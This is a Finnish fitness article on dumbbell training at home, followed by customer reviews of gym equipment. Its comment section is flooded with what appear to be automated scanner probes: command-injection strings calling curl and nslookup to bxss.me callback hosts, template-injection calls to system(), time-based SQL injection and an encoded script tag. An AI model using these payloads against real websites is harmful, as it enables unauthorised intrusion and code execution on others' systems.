Käsipaino treeni: Tehokas ohjelma kotiharjoitteluun

20.03.2024 (luettu 6902 kertaa)
In Treeniohjelmat

Käsipaino treeni: Tehokas ohjelma kotiharjoitteluun

Käsipainotreeni on tehokas tapa vahvistaa lihaksia ja kehittää kokonaisvaltaista hyvinvointia. Voit suorittaa monipuolisia harjoitteita missä vain - kotona, salilla tai vaikka puistossa. Käsipainojen avulla toteutettava liikunta parantaa lihastasapainoa ja voimantuottoa, ja se soveltuu kaiken tasoisille kuntoilijoille.

Kun aloitat käsipainotreenit, on tärkeää keskittyä oikeaan tekniikkaan ja aloittaa sopivan kokoisilla painoilla. Tämä auttaa välttämään vammat ja varmistaa, että lihakset saavat treenistä parhaan mahdollisen hyödyn. Jo 20 minuutin treeni voi olla erittäin tehokas, kun suunnittelet sen oikein ja sisällytät siihen liikkeitä, jotka kohdistavat harjoituksen koko keholle.

Key Takeaways

  • Käsipainotreeni on joustava ja tehokas tapa parantaa fyysistä kuntoa.
  • Oikea tekniikka ja sopivan suuruiset käsipainot ovat keskeisiä turvallisen treenin kannalta.
  • Kotitreenit voi suorittaa lyhyessä ajassa, kuten 20 minuutissa, saavuttaen kokonaisvaltaisen harjoituksen.

Harjoittelun Perusteet

Kun aloitat käsipainoharjoittelun, on tärkeää valita oikeat välineet, lämmittely ja treenaaminen turvallisesti. Tämä varmistaa, että saat maksimaalisen hyödyn treenistä ja vältät vammat.

Valitse Oikeat Käsipainot

Oikeanpainoisten käsipainojen valinta on ensiarvoisen tärkeää. Käsipainojen tulee olla tarpeeksi raskaita tarjotakseen resistanssia, mutta tarpeeksi kevyitä tekniikan säilyttämiseksi oikeana. Aloittelija voi aloittaa kevyemmillä painoilla, esimerkiksi naiset 1,5-3 kg ja miehet 2,5-5 kg per käsipaino. Kehityksen myötä painoja on hyvä lisätä asteittain.

Lämmittely Ja Turvallisuus

Ennen käsipainojen käyttöä on tärkeää lämmitellä huolellisesti. Lämmittelyn tulee sisältää dynaamisia venytyksiä ja liikkeitä, jotka kohdistuvat erityisesti niihin lihasryhmiin, joita tullaan treenaamaan. Hyvä lämmittely edistää verenkiertoa lihaksissa, valmistaa nivelet liikkeeseen ja auttaa välttämään vammat. Muista myös harjoittelun jälkeen jäähdytellä ja venytellä.

Kotona Treenaamisen Edut

Treenaaminen kotona käsipainojen kanssa säästää aikaa ja rahaa. Mahdollisuus treenata missä ja milloin vain lisää joustavuutta ja auttaa ylläpitämään tasapainoa työn ja harjoittelun välillä. Lisäksi kotoa löytyvät käsipainot mahdollistavat säännöllisen ryhdin ja lihastasapainon kehittämisen ilman kuntosalijäsenyyksiä. Tärkeää on noudattaa oikeaa tekniikkaa ja ohjeet kunnollisen suoritusasennon ylläpitämiseksi.

Käsipainoliikkeiden Tekniikat

Käsipainoharjoittelussa oikea tekniikka on avainasemassa loukkaantumisten välttämiseksi ja harjoittelutulosten maksimoimiseksi. Olipa kyseessä lihaskasvu tai voimanhankinta, on tärkeää suorittaa jokainen liike hallitusti ja oikeaoppisesti.

Olkapään Lihakset

Pystypunnerrus on klassinen liike olkapäiden vahvistamiseen. Seiso tai istu selkä suorana ja pidä käsipainot korvien tasolla, kämmenet eteenpäin suunnattuna. Punnerra painot ylös suorille käsille ja laske rauhallisesti takaisin lähtöasentoon. Tekniikassa keskitytään olkapään ja yläselän lihaksiin, ilman että kaulan tai alaselän lihakset joutuvat ylimääräiseen rasitukseen.

Keski- Ja Alavartalo

Kyykky ja askelkyykky ovat tehokkaita liikkeitä pakaralihasten, reisien ja keskivartalon lihasten vahvistamiseen. Kyykyssä pidät käsipainot sivuillasi tai hartiatasolla, selkä suorassa, ja laskeudut niin, että reidet ovat mahdollisimman lähellä vaakatasoa. Askelkyykyssä otat askelen eteenpäin ja laskeudut niin, että molempien jalkojen polvet muodostavat noin 90 asteen kulman. Sumokyykky näissä varianteissa auttaa lisäksi sisäreisien ja syvien vatsalihasten aktivoimisessa.

Kädet Ja Ylävartalo

Hauiskääntö on tehokas liike bicepksien, eli hauislihasten treenaamiseen. Asetu seisaalteen, pidä kyynärpäät kiinni vartalossa ja käännä käsipainot hartioita kohti ja sitten kontrolloidusti takaisin alas. Kulmasoutu keskittyy ylävartalon taakse, erityisesti yläselän ja selän ojentajalihasten työstämiseen. Käytä penkkiä tai muuta tukea yhden käden ja samanpuoleisen polven tueksi, toisessa kädessä käsipaino roikkuen ja vedä paino ylös kylkeä pitkin, puristaen lapaluita yhteen liikkeen yläasennossa.

Harjoitteluohjelmat Ja Vinkit

Käsipainotreeni tarjoaa tehokkaan tavan vahvistaa lihaskuntoa ja rakentaa voimaa. Valitsemalla oikean harjoitusohjelman, voit optimoida treenisi tulokset ja pitää motivaatiosi korkealla.

Aloittelijan Harjoittelu

Aloittaessasi käsipainoharjoittelun, keskity perusliikkeiden oppimiseen ja progressiiviseen kuormituksen lisäämiseen. Aloittelijalle sopivat käsipainojen painot vaihtelevat naisten kohdalla yleensä 1,5–3 kilon ja miesten 2,5–5 kilon välillä. Ohjeet ovat yksinkertaiset:

  1. Aloituspainon valinta.
  2. Keskity tekniikan oikeellisuuteen.
  3. Tee 2-3 sarjaa 8-12 toistoa per liike.
  4. Treenaa 2-3 kertaa viikossa.

Intensiivinen 20 Minuutin Treeni

20 minuutissa voit suorittaa intensiivisen treenin, joka vahvistaa lihaksiasi ja parantaa lihaskuntosi. Aseta käsipainoille tarpeeksi kuormitusta, jotta viimeiset toistot tuntuvat haastavilta. Esimerkki harjoittelusta:

  • Voimaharjoittelu: Kompleksiliikkeet, kuten thrusterit (kyykky ja pystypunnerrus yhdistettynä), aktivoivat useita lihasryhmiä.
  • Lyhyet lepotauot: Pidä taukoja vain 30–60 sekuntia sarjojen välillä.
  • Vatsalihaksia kuormittavat liikkeet: Lisää harjoitusliikkeitä, kuten russian twist tai käsipainoveto vatsan päälle.

Treeni Sohvalla Tai Toimistossa

Käsipainotreeni ei vaadi kuntoilua salilla, voit harjoitella myös sohvallasi tai toimistossasi. Tämä taukojumppa voi toimia sekä virkistävänä taukona että voimaannuttavana treenihetkenä:

  • Käsipainosoutu: Istu tuolilla, nojaa eteenpäin ja tee yhden käden soutuliikkeitä.
  • Hauiskääntö: Istu tai seiso ryhdikkäästi ja tee hauiskääntöjä vuorotellen.
  • Olkapään pystypunnerrus: Tärkeää on pitää selkä suorana ja nostaa painot varmoin, hallituin liikkein.

Yhdistämällä käsipainotreeniin esimerkiksi kahvakuulatreeni, saat lisää monipuolisuutta harjoitteluusi. Saat parhaat tulokset, kun noudatat selkeitä ohjeita ja pidät huolen oikeasta suoritustekniikasta.

Kommentit

  52. pHqghUme
    chat_bubble_outline Vastaa

    1

    echo ehttlo$()\ aqdpys\nz^xyu||a #' &echo ehttlo$()\ aqdpys\nz^xyu||a #|" &echo ehttlo$()\ aqdpys\nz^xyu||a #

  57. pHqghUme
    chat_bubble_outline Vastaa

    1

    &echo dhuojd$()\ ggjdox\nz^xyu||a #' &echo dhuojd$()\ ggjdox\nz^xyu||a #|" &echo dhuojd$()\ ggjdox\nz^xyu||a #

  59. pHqghUme
    chat_bubble_outline Vastaa

    1

    1&echo gipynb$()\ lzgdne\nz^xyu||a #' &echo gipynb$()\ lzgdne\nz^xyu||a #|" &echo gipynb$()\ lzgdne\nz^xyu||a #

  62. pHqghUme
    chat_bubble_outline Vastaa

    1

    |echo excagl$()\ mfmzub\nz^xyu||a #' |echo excagl$()\ mfmzub\nz^xyu||a #|" |echo excagl$()\ mfmzub\nz^xyu||a #

  66. pHqghUme
    chat_bubble_outline Vastaa

    1

    1|echo afvsre$()\ foginu\nz^xyu||a #' |echo afvsre$()\ foginu\nz^xyu||a #|" |echo afvsre$()\ foginu\nz^xyu||a #

  95. pHqghUme
    chat_bubble_outline Vastaa

    1

    &nslookup -q=cname hiticcvvgdmiee23f4.bxss.me&'\"`0&nslookup -q=cname hiticcvvgdmiee23f4.bxss.me&`'

  106. pHqghUme
    chat_bubble_outline Vastaa

    1

    &(nslookup -q=cname hitiiiyuzdtdefa911.bxss.me||curl hitiiiyuzdtdefa911.bxss.me)&'\"`0&(nslookup -q=cname hitiiiyuzdtdefa911.bxss.me||curl hitiiiyuzdtdefa911.bxss.me)&`'

  115. pHqghUme
    chat_bubble_outline Vastaa

    1

    `(nslookup -q=cname hitlaeymvbwet1fb6a.bxss.me||curl hitlaeymvbwet1fb6a.bxss.me)`

  120. pHqghUme
    chat_bubble_outline Vastaa

    1

    ;(nslookup -q=cname hitbxakezodoobbbf1.bxss.me||curl hitbxakezodoobbbf1.bxss.me)|(nslookup -q=cname hitbxakezodoobbbf1.bxss.me||curl hitbxakezodoobbbf1.bxss.me)&(nslookup -q=cname hitbxakezodoobbbf1.bxss.me||curl hitbxakezodoobbbf1.bxss.me)

  199. pHqghUme
    chat_bubble_outline Vastaa

    1

    "+"A".concat(70-3).concat(22*4).concat(112).concat(81).concat(119).concat(69)+(require"socket" Socket.gethostbyname("hitbc"+"gctectuae595b.bxss.me.")[3].to_s)+"

  219. pHqghUme
    chat_bubble_outline Vastaa

    1

    '+'A'.concat(70-3).concat(22*4).concat(105).concat(73).concat(100).concat(78)+(require'socket' Socket.gethostbyname('hitlh'+'fewqichp0df20.bxss.me.')[3].to_s)+'

  223. pHqghUme
    chat_bubble_outline Vastaa

    1

    'A'.concat(70-3).concat(22*4).concat(111).concat(76).concat(106).concat(65)+(require'socket' Socket.gethostbyname('hitun'+'fhweicdp4ed45.bxss.me.')[3].to_s)

  260. "+"A".concat(70-3).concat(22*4).concat(103).concat(79).concat(122).concat(71)+(require"socket" Socket.gethostbyname("hitxn"+"eteowogb478bb.bxss.me.")[3].to_s)+"
    chat_bubble_outline Vastaa

    1

    1

  264. '+'A'.concat(70-3).concat(22*4).concat(117).concat(85).concat(118).concat(70)+(require'socket' Socket.gethostbyname('hitcl'+'yzycmprr969ba.bxss.me.')[3].to_s)+'
    chat_bubble_outline Vastaa

    1

    1

  271. pHqghUme
    chat_bubble_outline Vastaa

    1

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hiteqpstqjlcw9d46a.bxss.me")}}

  275. 'A'.concat(70-3).concat(22*4).concat(98).concat(81).concat(114).concat(76)+(require'socket' Socket.gethostbyname('hitet'+'sjwumpnl5b6e6.bxss.me.')[3].to_s)
    chat_bubble_outline Vastaa

    1

    1

  284. pHqghUme
    chat_bubble_outline Vastaa

    "+"A".concat(70-3).concat(22*4).concat(111).concat(77).concat(103).concat(82)+(require"socket" Socket.gethostbyname("hitjl"+"nuerkbkd93834.bxss.me.")[3].to_s)+"

    1

  292. pHqghUme
    chat_bubble_outline Vastaa

    '+'A'.concat(70-3).concat(22*4).concat(119).concat(79).concat(119).concat(90)+(require'socket' Socket.gethostbyname('hitlh'+'fzsspqns8d199.bxss.me.')[3].to_s)+'

    1

  296. pHqghUme
    chat_bubble_outline Vastaa

    'A'.concat(70-3).concat(22*4).concat(98).concat(72).concat(98).concat(89)+(require'socket' Socket.gethostbyname('hitqc'+'trhdlgwy28f15.bxss.me.')[3].to_s)

    1

  395. pHqghUme
    chat_bubble_outline Vastaa

    1

    echo piythf$()\ lzjbnh\nz^xyu||a #' &echo piythf$()\ lzjbnh\nz^xyu||a #|" &echo piythf$()\ lzjbnh\nz^xyu||a #

  402. pHqghUme
    chat_bubble_outline Vastaa

    1

    &echo lgmcqa$()\ bvexlw\nz^xyu||a #' &echo lgmcqa$()\ bvexlw\nz^xyu||a #|" &echo lgmcqa$()\ bvexlw\nz^xyu||a #

  409. pHqghUme
    chat_bubble_outline Vastaa

    1

    1&echo jteefo$()\ urzpfy\nz^xyu||a #' &echo jteefo$()\ urzpfy\nz^xyu||a #|" &echo jteefo$()\ urzpfy\nz^xyu||a #

  416. pHqghUme
    chat_bubble_outline Vastaa

    1

    |echo fcpien$()\ eekcbt\nz^xyu||a #' |echo fcpien$()\ eekcbt\nz^xyu||a #|" |echo fcpien$()\ eekcbt\nz^xyu||a #

  426. pHqghUme
    chat_bubble_outline Vastaa

    1

    1|echo rnqxqc$()\ poyhco\nz^xyu||a #' |echo rnqxqc$()\ poyhco\nz^xyu||a #|" |echo rnqxqc$()\ poyhco\nz^xyu||a #

  453. echo aekkhs$()\ pdaljo\nz^xyu||a #' &echo aekkhs$()\ pdaljo\nz^xyu||a #|" &echo aekkhs$()\ pdaljo\nz^xyu||a #
    chat_bubble_outline Vastaa

    1

    1

  459. pHqghUme
    chat_bubble_outline Vastaa

    1

    &nslookup -q=cname hitkwlnvvrqos96d7c.bxss.me&'\"`0&nslookup -q=cname hitkwlnvvrqos96d7c.bxss.me&`'

  461. &echo wyhnvf$()\ yeybye\nz^xyu||a #' &echo wyhnvf$()\ yeybye\nz^xyu||a #|" &echo wyhnvf$()\ yeybye\nz^xyu||a #
    chat_bubble_outline Vastaa

    1

    1

  465. pHqghUme
    chat_bubble_outline Vastaa

    1

    &(nslookup -q=cname hitjwjcgoqrbz172d8.bxss.me||curl hitjwjcgoqrbz172d8.bxss.me)&'\"`0&(nslookup -q=cname hitjwjcgoqrbz172d8.bxss.me||curl hitjwjcgoqrbz172d8.bxss.me)&`'

  467. pHqghUme&echo jewdwv$()\ lodald\nz^xyu||a #' &echo jewdwv$()\ lodald\nz^xyu||a #|" &echo jewdwv$()\ lodald\nz^xyu||a #
    chat_bubble_outline Vastaa

    1

    1

  474. |echo yeqpwx$()\ seodtr\nz^xyu||a #' |echo yeqpwx$()\ seodtr\nz^xyu||a #|" |echo yeqpwx$()\ seodtr\nz^xyu||a #
    chat_bubble_outline Vastaa

    1

    1

  479. pHqghUme
    chat_bubble_outline Vastaa

    1

    `(nslookup -q=cname hitknvtoemxgsc23aa.bxss.me||curl hitknvtoemxgsc23aa.bxss.me)`

  480. pHqghUme|echo ucnvlw$()\ iwgnev\nz^xyu||a #' |echo ucnvlw$()\ iwgnev\nz^xyu||a #|" |echo ucnvlw$()\ iwgnev\nz^xyu||a #
    chat_bubble_outline Vastaa

    1

    1

  490. pHqghUme
    chat_bubble_outline Vastaa

    1

    ;(nslookup -q=cname hitbhknkidxpu7fa41.bxss.me||curl hitbhknkidxpu7fa41.bxss.me)|(nslookup -q=cname hitbhknkidxpu7fa41.bxss.me||curl hitbhknkidxpu7fa41.bxss.me)&(nslookup -q=cname hitbhknkidxpu7fa41.bxss.me||curl hitbhknkidxpu7fa41.bxss.me)

  505. &nslookup -q=cname hitaqdszftznzcf191.bxss.me&'\"`0&nslookup -q=cname hitaqdszftznzcf191.bxss.me&`'
    chat_bubble_outline Vastaa

    1

    1

  509. &(nslookup -q=cname hitbsxlaotecta655a.bxss.me||curl hitbsxlaotecta655a.bxss.me)&'\"`0&(nslookup -q=cname hitbsxlaotecta655a.bxss.me||curl hitbsxlaotecta655a.bxss.me)&`'
    chat_bubble_outline Vastaa

    1

    1

  522. pHqghUme
    chat_bubble_outline Vastaa

    1

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitckwghrkjbw0cc6b.bxss.me")}}

  525. pHqghUme
    chat_bubble_outline Vastaa

    1

    "+"A".concat(70-3).concat(22*4).concat(98).concat(71).concat(122).concat(81)+(require"socket" Socket.gethostbyname("hitsn"+"kwrwllirb6fe9.bxss.me.")[3].to_s)+"

  535. pHqghUme
    chat_bubble_outline Vastaa

    1

    '+'A'.concat(70-3).concat(22*4).concat(110).concat(69).concat(119).concat(75)+(require'socket' Socket.gethostbyname('hitjf'+'mdlscare8b429.bxss.me.')[3].to_s)+'

  538. ;(nslookup -q=cname hitlgrcvmrilwbde14.bxss.me||curl hitlgrcvmrilwbde14.bxss.me)|(nslookup -q=cname hitlgrcvmrilwbde14.bxss.me||curl hitlgrcvmrilwbde14.bxss.me)&(nslookup -q=cname hitlgrcvmrilwbde14.bxss.me||curl hitlgrcvmrilwbde14.bxss.me)
    chat_bubble_outline Vastaa

    1

    1

  550. pHqghUme
    chat_bubble_outline Vastaa

    1

    'A'.concat(70-3).concat(22*4).concat(115).concat(90).concat(122).concat(70)+(require'socket' Socket.gethostbyname('hitac'+'inqugkpl6a603.bxss.me.')[3].to_s)

  558. pHqghUme
    chat_bubble_outline Vastaa

    echo rbsnyx$()\ rblrxr\nz^xyu||a #' &echo rbsnyx$()\ rblrxr\nz^xyu||a #|" &echo rbsnyx$()\ rblrxr\nz^xyu||a #

    1

  562. pHqghUme
    chat_bubble_outline Vastaa

    &echo bapwol$()\ nlbkqy\nz^xyu||a #' &echo bapwol$()\ nlbkqy\nz^xyu||a #|" &echo bapwol$()\ nlbkqy\nz^xyu||a #

    1

  574. pHqghUme
    chat_bubble_outline Vastaa

    1&echo yubipe$()\ harspo\nz^xyu||a #' &echo yubipe$()\ harspo\nz^xyu||a #|" &echo yubipe$()\ harspo\nz^xyu||a #

    1

  588. pHqghUme
    chat_bubble_outline Vastaa

    |echo oroxhd$()\ cgfonw\nz^xyu||a #' |echo oroxhd$()\ cgfonw\nz^xyu||a #|" |echo oroxhd$()\ cgfonw\nz^xyu||a #

    1

  595. pHqghUme
    chat_bubble_outline Vastaa

    1|echo gpqazm$()\ tpitly\nz^xyu||a #' |echo gpqazm$()\ tpitly\nz^xyu||a #|" |echo gpqazm$()\ tpitly\nz^xyu||a #

    1

  602. "+"A".concat(70-3).concat(22*4).concat(102).concat(77).concat(116).concat(81)+(require"socket" Socket.gethostbyname("hitpu"+"dbuwukxs07982.bxss.me.")[3].to_s)+"
    chat_bubble_outline Vastaa

    1

    1

  605. '+'A'.concat(70-3).concat(22*4).concat(114).concat(82).concat(121).concat(73)+(require'socket' Socket.gethostbyname('hitna'+'bqecctyw537b2.bxss.me.')[3].to_s)+'
    chat_bubble_outline Vastaa

    1

    1

  612. 'A'.concat(70-3).concat(22*4).concat(97).concat(71).concat(102).concat(87)+(require'socket' Socket.gethostbyname('hitfx'+'azergpkp13e31.bxss.me.')[3].to_s)
    chat_bubble_outline Vastaa

    1

    1

  625. pHqghUme
    chat_bubble_outline Vastaa

    "+"A".concat(70-3).concat(22*4).concat(116).concat(70).concat(111).concat(71)+(require"socket" Socket.gethostbyname("hithr"+"ongwijzo311cf.bxss.me.")[3].to_s)+"

    1

  629. pHqghUme
    chat_bubble_outline Vastaa

    &nslookup -q=cname hitsfhafzgtxu329e5.bxss.me&'\"`0&nslookup -q=cname hitsfhafzgtxu329e5.bxss.me&`'

    1

  631. pHqghUme
    chat_bubble_outline Vastaa

    '+'A'.concat(70-3).concat(22*4).concat(119).concat(85).concat(103).concat(75)+(require'socket' Socket.gethostbyname('hitot'+'pkvrkafp6db6b.bxss.me.')[3].to_s)+'

    1

  634. pHqghUme
    chat_bubble_outline Vastaa

    'A'.concat(70-3).concat(22*4).concat(115).concat(70).concat(119).concat(77)+(require'socket' Socket.gethostbyname('hitah'+'brxujitb3aaed.bxss.me.')[3].to_s)

    1

  636. pHqghUme
    chat_bubble_outline Vastaa

    &(nslookup -q=cname hitozzjppzyqdc8b57.bxss.me||curl hitozzjppzyqdc8b57.bxss.me)&'\"`0&(nslookup -q=cname hitozzjppzyqdc8b57.bxss.me||curl hitozzjppzyqdc8b57.bxss.me)&`'

    1

  645. pHqghUme
    chat_bubble_outline Vastaa

    `(nslookup -q=cname hithyqncynfjx48c61.bxss.me||curl hithyqncynfjx48c61.bxss.me)`

    1

  657. pHqghUme
    chat_bubble_outline Vastaa

    ;(nslookup -q=cname hitugtliankgeff8ad.bxss.me||curl hitugtliankgeff8ad.bxss.me)|(nslookup -q=cname hitugtliankgeff8ad.bxss.me||curl hitugtliankgeff8ad.bxss.me)&(nslookup -q=cname hitugtliankgeff8ad.bxss.me||curl hitugtliankgeff8ad.bxss.me)

    1

  692. echo iuzesw$()\ nwuhyw\nz^xyu||a #' &echo iuzesw$()\ nwuhyw\nz^xyu||a #|" &echo iuzesw$()\ nwuhyw\nz^xyu||a #
    chat_bubble_outline Vastaa

    1

    1

  694. &echo syqdec$()\ yqnpxn\nz^xyu||a #' &echo syqdec$()\ yqnpxn\nz^xyu||a #|" &echo syqdec$()\ yqnpxn\nz^xyu||a #
    chat_bubble_outline Vastaa

    1

    1

  697. pHqghUme&echo ybkian$()\ iefter\nz^xyu||a #' &echo ybkian$()\ iefter\nz^xyu||a #|" &echo ybkian$()\ iefter\nz^xyu||a #
    chat_bubble_outline Vastaa

    1

    1

  698. |echo mmimit$()\ upgkms\nz^xyu||a #' |echo mmimit$()\ upgkms\nz^xyu||a #|" |echo mmimit$()\ upgkms\nz^xyu||a #
    chat_bubble_outline Vastaa

    1

    1

  699. pHqghUme|echo klkmgf$()\ ejsmsx\nz^xyu||a #' |echo klkmgf$()\ ejsmsx\nz^xyu||a #|" |echo klkmgf$()\ ejsmsx\nz^xyu||a #
    chat_bubble_outline Vastaa

    1

    1

  709. &nslookup -q=cname hitgaplzwnhla6472f.bxss.me&'\"`0&nslookup -q=cname hitgaplzwnhla6472f.bxss.me&`'
    chat_bubble_outline Vastaa

    1

    1

  713. &(nslookup -q=cname hitxxdnohprqw6636b.bxss.me||curl hitxxdnohprqw6636b.bxss.me)&'\"`0&(nslookup -q=cname hitxxdnohprqw6636b.bxss.me||curl hitxxdnohprqw6636b.bxss.me)&`'
    chat_bubble_outline Vastaa

    1

    1

  721. ;(nslookup -q=cname hitouposcroowaa78a.bxss.me||curl hitouposcroowaa78a.bxss.me)|(nslookup -q=cname hitouposcroowaa78a.bxss.me||curl hitouposcroowaa78a.bxss.me)&(nslookup -q=cname hitouposcroowaa78a.bxss.me||curl hitouposcroowaa78a.bxss.me)
    chat_bubble_outline Vastaa

    1

    1

  731. pHqghUme
    chat_bubble_outline Vastaa

    echo kfbbil$()\ mayxxa\nz^xyu||a #' &echo kfbbil$()\ mayxxa\nz^xyu||a #|" &echo kfbbil$()\ mayxxa\nz^xyu||a #

    1

  735. pHqghUme
    chat_bubble_outline Vastaa

    &echo dgbngr$()\ rggzxj\nz^xyu||a #' &echo dgbngr$()\ rggzxj\nz^xyu||a #|" &echo dgbngr$()\ rggzxj\nz^xyu||a #

    1

  737. pHqghUme
    chat_bubble_outline Vastaa

    1&echo vvdxfk$()\ ysiayn\nz^xyu||a #' &echo vvdxfk$()\ ysiayn\nz^xyu||a #|" &echo vvdxfk$()\ ysiayn\nz^xyu||a #

    1

  739. pHqghUme
    chat_bubble_outline Vastaa

    |echo yhbfzm$()\ fhixvw\nz^xyu||a #' |echo yhbfzm$()\ fhixvw\nz^xyu||a #|" |echo yhbfzm$()\ fhixvw\nz^xyu||a #

    1

  742. pHqghUme
    chat_bubble_outline Vastaa

    1|echo uleafi$()\ fkxawj\nz^xyu||a #' |echo uleafi$()\ fkxawj\nz^xyu||a #|" |echo uleafi$()\ fkxawj\nz^xyu||a #

    1

  757. {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitjvvkvxxzxff92fe.bxss.me")}}
    chat_bubble_outline Vastaa

    1

    1

  768. pHqghUme
    chat_bubble_outline Vastaa

    &nslookup -q=cname hitesbvratrab5d0a8.bxss.me&'\"`0&nslookup -q=cname hitesbvratrab5d0a8.bxss.me&`'

    1

  779. pHqghUme
    chat_bubble_outline Vastaa

    &(nslookup -q=cname hitmjtxtppaqp26b7b.bxss.me||curl hitmjtxtppaqp26b7b.bxss.me)&'\"`0&(nslookup -q=cname hitmjtxtppaqp26b7b.bxss.me||curl hitmjtxtppaqp26b7b.bxss.me)&`'

    1

  792. pHqghUme
    chat_bubble_outline Vastaa

    `(nslookup -q=cname hithvbtwdstzkc5828.bxss.me||curl hithvbtwdstzkc5828.bxss.me)`

    1

  795. pHqghUme
    chat_bubble_outline Vastaa

    ;(nslookup -q=cname hitjqwqbooydn748b3.bxss.me||curl hitjqwqbooydn748b3.bxss.me)|(nslookup -q=cname hitjqwqbooydn748b3.bxss.me||curl hitjqwqbooydn748b3.bxss.me)&(nslookup -q=cname hitjqwqbooydn748b3.bxss.me||curl hitjqwqbooydn748b3.bxss.me)

    1

  796. pHqghUme
    chat_bubble_outline Vastaa

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitdvysgltqyn498a8.bxss.me")}}

    1

  810. {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitszbjpeslyi89ccd.bxss.me")}}
    chat_bubble_outline Vastaa

    1

    1

  839. pHqghUme
    chat_bubble_outline Vastaa

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitviatowqqnzd0d09.bxss.me")}}

    1

  895. (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    chat_bubble_outline Vastaa

    1

    1

  912. pHqghUme
    chat_bubble_outline Vastaa

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

    1

  933. pHqghUme
    chat_bubble_outline Vastaa

    1

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitmstnmhitkke9630.bxss.me")}}

  934. {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitfjhbmjtiri6d205.bxss.me")}}
    chat_bubble_outline Vastaa

    1

    1

  937. pHqghUme
    chat_bubble_outline Vastaa

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitfrcbjrfzqr0de5d.bxss.me")}}

    1

  1021. %70%48%71%67%68%55%6D%65%3C%53%63%52%69%50%74%20%3E%66%79%56%62%289149%29%3C%2F%73%43%72%69%70%54%3E
    chat_bubble_outline Vastaa

    1

    1

Kommentoi tekstiä:

Arvostelut

Gorilla Sports
4.26 / 5

Jackronin

Nopea toimitus, helppo kasata, tukeva rakenne. Käytössä lähes joka päivä.

Sami

Tutkin kauan minkä smith laitteen ostan ja päädyin tähän onneksi. Tuote on jämäkkä ja toimii todella hyvin, kuin salilaitteet. Kiitos

Matti

Hyvän oloinen. Olisi voinut olla paremmin ilmoitettu että reunapalat myydään erikseen.

Sanna

Materiaali tuntuu hyvälle käytössä ja värit ovat kivat, vaikka ovatkin vähän tummemmat kuin kuvassa. Säilytyssalkku on mielestäni todella hyvä, joten suosittelen tätä settiä jos haluaa säilyttää pieniä painoja siististi ja kätevästi.

Korkki

Muuten tukeva ja jämäkkä mutta 20cm piti leventää

Anynous

Hyvät tukevat nojapuut! Todella tyytyväinen ostokseeni!

Vanha voimalija

Hyvä ja oikean tuotteen oloinen alumiiniseoskahvoilla. Ei voi verrata kauppojen säädettäviin muovirieskoihin.

Kari

Hyvä peruspenkki pieneen tilaan aloittelevalle harrastajalle. Itsellä helpottaa treenausta muiden kiireiden ohella.

Lahjaksi ostettu

Tuote on hyvä siinä ei ole valittamista. Toimitus oli hidasta, ensimmäistä tilausta odotin 1 kk ja selvisi että se oli hukkunut. Toinen tilaus tuli nopeasti. Siitä tuli tähden alennus.